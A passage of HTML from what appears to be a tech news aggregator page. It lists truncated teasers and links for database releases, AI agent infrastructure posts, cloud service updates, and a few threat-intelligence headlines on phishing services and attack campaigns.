            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are excited to announce the release of Gitea 1.26.2! We strongly recommend all users upgrade to this version, as it contains a number of security fixes alongside important bug fixes and stability i</p>
<p><strong>📅 May 20, 2026</strong> • <strong>📰 Gitea Blog</strong></p>
<p><a href="https://blog.gitea.com/release-of-1.26.2"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-pg_tre-111-released-an-approximate-regex-index-am-for-postgresql-18" class="group relative scroll-mt-24">
        <a href="#h3-pg_tre-111-released-an-approximate-regex-index-am-for-postgresql-18" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pg_tre 1.1.1 released -- an approximate-REGEX index AM for PostgreSQL 18+
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_tre-111-released-an-approximate-regex-index-am-for-postgresql-18"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I am pleased to announce the first public release of [pg_tre] (<a href="https://codeberg.org/gregburd/pg_tre">https://codeberg.org/gregburd/pg_tre</a>), a native PostgreSQL 18+ index access method for approximate-regex matching. pg_tre indexes text co</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_tre-111-released-an-approximate-regex-index-am-for-postgresql-18-3305/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pg_infer-100-released-transformer-model-knowledge-as-sql-relations" class="group relative scroll-mt-24">
        <a href="#h3-pg_infer-100-released-transformer-model-knowledge-as-sql-relations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pg_infer 1.0.0 released -- transformer model knowledge as SQL relations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_infer-100-released-transformer-model-knowledge-as-sql-relations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I am pleased to announce the first public release of pg_infer, a PostgreSQL 18+ extension that exposes the internals of small transformer language models -- gate activations, feature labels, learned a</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_infer-100-released-transformer-model-knowledge-as-sql-relations-3307/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pg_mentat-130-released-datomic-compatible-datalog-inside-postgresql" class="group relative scroll-mt-24">
        <a href="#h3-pg_mentat-130-released-datomic-compatible-datalog-inside-postgresql" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pg_mentat 1.3.0 released -- Datomic-compatible Datalog inside PostgreSQL
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_mentat-130-released-datomic-compatible-datalog-inside-postgresql"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I am pleased to announce the first public release of [pg_mentat] (<a href="https://github.com/gburd/pg_mentat">https://github.com/gburd/pg_mentat</a>), a PostgreSQL extension that implements Datomic&#39;s data model -- immutable facts (datoms), schema-f</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_mentat-130-released-datomic-compatible-datalog-inside-postgresql-3306/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nosql-storm-stop-fighting-the-mongodb" class="group relative scroll-mt-24">
        <a href="#h3-the-nosql-storm-stop-fighting-the-mongodb" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The NoSQL Storm - Stop fighting the MongoDB
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nosql-storm-stop-fighting-the-mongodb"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The NoSQL Storm, a Database DevOps comic inspired by MongoDB, exploring NoSQL scaling, schema evolution, and modern DevOps practices. | Blog</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/database-devops-comic-volume-2"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pgday-israel-2026-call-for-papers-is-now-open" class="group relative scroll-mt-24">
        <a href="#h3-pgday-israel-2026-call-for-papers-is-now-open" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PGDay Israel 2026 - Call for Papers is Now Open
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgday-israel-2026-call-for-papers-is-now-open"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dear PostgreSQL Community, We are pleased to announce that the Call for Papers for PGDay Israel 2026 is now open. We invite community members, users, and developers to submit proposals for talks and p</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgday-israel-2026-call-for-papers-is-now-open-3291/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-long-horizon-tasks-building-agents-that-work-over-hours-days" class="group relative scroll-mt-24">
        <a href="#h3-long-horizon-tasks-building-agents-that-work-over-hours-days" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Long-horizon tasks: building agents that work over hours & days
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-long-horizon-tasks-building-agents-that-work-over-hours-days"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Early AI agents handled one-shot jobs that took a few minutes: fix this bug, write this function, generate this test. More recent workflows are multi-step, tool-using, and stateful over extended sessi</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/long-horizon-ai-agents-memory-state-infrastructure/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-benchmarking-ai-coding-agents-for-distributed-sql-what-we-learned" class="group relative scroll-mt-24">
        <a href="#h3-benchmarking-ai-coding-agents-for-distributed-sql-what-we-learned" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Benchmarking AI Coding Agents for Distributed SQL: What We Learned
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-benchmarking-ai-coding-agents-for-distributed-sql-what-we-learned"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI models write vanilla PostgreSQL. If your database is distributed, providing the AI model with a YugabyteDB skill file closes the gap and ensures it writes code that works for your application. In t</p>
<p><strong>📅 May 20, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/benchmarking-ai-coding-agents-for-distributed-sql-lessons/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-is-a-context-engine-the-platform-layer-behind-production-ai-agents" class="group relative scroll-mt-24">
        <a href="#h3-what-is-a-context-engine-the-platform-layer-behind-production-ai-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What is a context engine? The platform layer behind production AI agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-is-a-context-engine-the-platform-layer-behind-production-ai-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Count the systems behind your AI agent. A vector database for embeddings. A separate cache for LLM responses. A memory service for conversation state. A pipeline syncing data from Postgres. Probably a</p>
<p><strong>📅 May 20, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/what-is-a-context-engine/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-tidb-scaile-europe-2026-why-engineers-building-agentic-ai-should-be-in-stockholm-on-4-june" class="group relative scroll-mt-24">
        <a href="#h3-tidb-scaile-europe-2026-why-engineers-building-agentic-ai-should-be-in-stockholm-on-4-june" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 TiDB SCaiLE Europe 2026: Why Engineers Building Agentic AI Should Be in Stockholm on 4 June
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tidb-scaile-europe-2026-why-engineers-building-agentic-ai-should-be-in-stockholm-on-4-june"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most teams shipping AI agents in 2026 hit the same wall around the same time. The prototype works. Ten users or even a thousand users mostly work. But then one user action triggers thousands of agent </p>
<p><strong>📅 May 19, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/tidb-scaile-europe-2026-why-attend/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-apache-cassandra-performance-tuning-what-we-learned" class="group relative scroll-mt-24">
        <a href="#h3-apache-cassandra-performance-tuning-what-we-learned" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Apache Cassandra Performance Tuning: What We Learned
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-apache-cassandra-performance-tuning-what-we-learned"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This blog post (tries to) consolidate what we&#39;ve learned from years of tuning Apache Cassandra for performance</p>
<p><strong>📅 May 19, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/05/19/cassandra-performance-tuning-lessons-learned/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-is-a-context-layer-ai-agent-infrastructure" class="group relative scroll-mt-24">
        <a href="#h3-what-is-a-context-layer-ai-agent-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What is a context layer? AI agent infrastructure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-is-a-context-layer-ai-agent-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In a demo, your agent only has to hold one conversation with one user, against fresh data, for a few minutes. Production is different. It has to remember users across sessions, reconcile retrieved doc</p>
<p><strong>📅 May 19, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/what-is-a-context-layer/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-2-phaas-2-furious-the-evolution-of-chinese-language-phishing-services" class="group relative scroll-mt-24">
        <a href="#h3-2-phaas-2-furious-the-evolution-of-chinese-language-phishing-services" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 2 PhaaS 2 Furious: The Evolution of Chinese-language Phishing Services
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-phaas-2-furious-the-evolution-of-chinese-language-phishing-services"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Written by: Jamie Collier While Russian-speaking threat actors have historically dominated the phishing-as-a-service (PhaaS) landscape, a rival ecosystem is rapidly growing within the Chinese-language</p>
<p><strong>📅 May 25, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/threat-intelligence/chinese-language-phishing-services/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 May 25, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 May 25, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 May 25, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-sagemaker-expands-domain-management-across-domain-types" class="group relative scroll-mt-24">
        <a href="#h3-amazon-sagemaker-expands-domain-management-across-domain-types" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon SageMaker expands domain management across domain types
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-sagemaker-expands-domain-management-across-domain-types"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon SageMaker Unified Studio now provides domain management experience for Identity Center and IAM-based domains outside of AWS console, allows administrators and data management teams to create an</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/domain-management-iam-idc/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-agentic-migration-assessment-capabilities-now-available-with-aws-transform" class="group relative scroll-mt-24">
        <a href="#h3-new-agentic-migration-assessment-capabilities-now-available-with-aws-transform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New agentic migration assessment capabilities now available with AWS Transform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-agentic-migration-assessment-capabilities-now-available-with-aws-transform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS Transform now offers advanced migration assessment capabilities including what-if scenarios, customizable assumptions, flexible file format support, and multiple new total cost of ownership (TCO) </p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/assessment-capabilities-transform"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-sagemaker-adds-business-metadata-and-governance-in-iam-based-domains" class="group relative scroll-mt-24">
        <a href="#h3-amazon-sagemaker-adds-business-metadata-and-governance-in-iam-based-domains" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon SageMaker adds business metadata and governance in IAM-based domains
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-sagemaker-adds-business-metadata-and-governance-in-iam-based-domains"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon SageMaker Unified Studio now supports business context, metadata and data governance capabilities in IAM-based domains. With this launch, customers using Amazon SageMaker IAM-based domains can </p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/sagemaker-catalog-iam-domains/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-request-based-autoscaling-is-now-generally-available-on-app-platform" class="group relative scroll-mt-24">
        <a href="#h3-request-based-autoscaling-is-now-generally-available-on-app-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Request-Based Autoscaling Is Now Generally Available on App Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
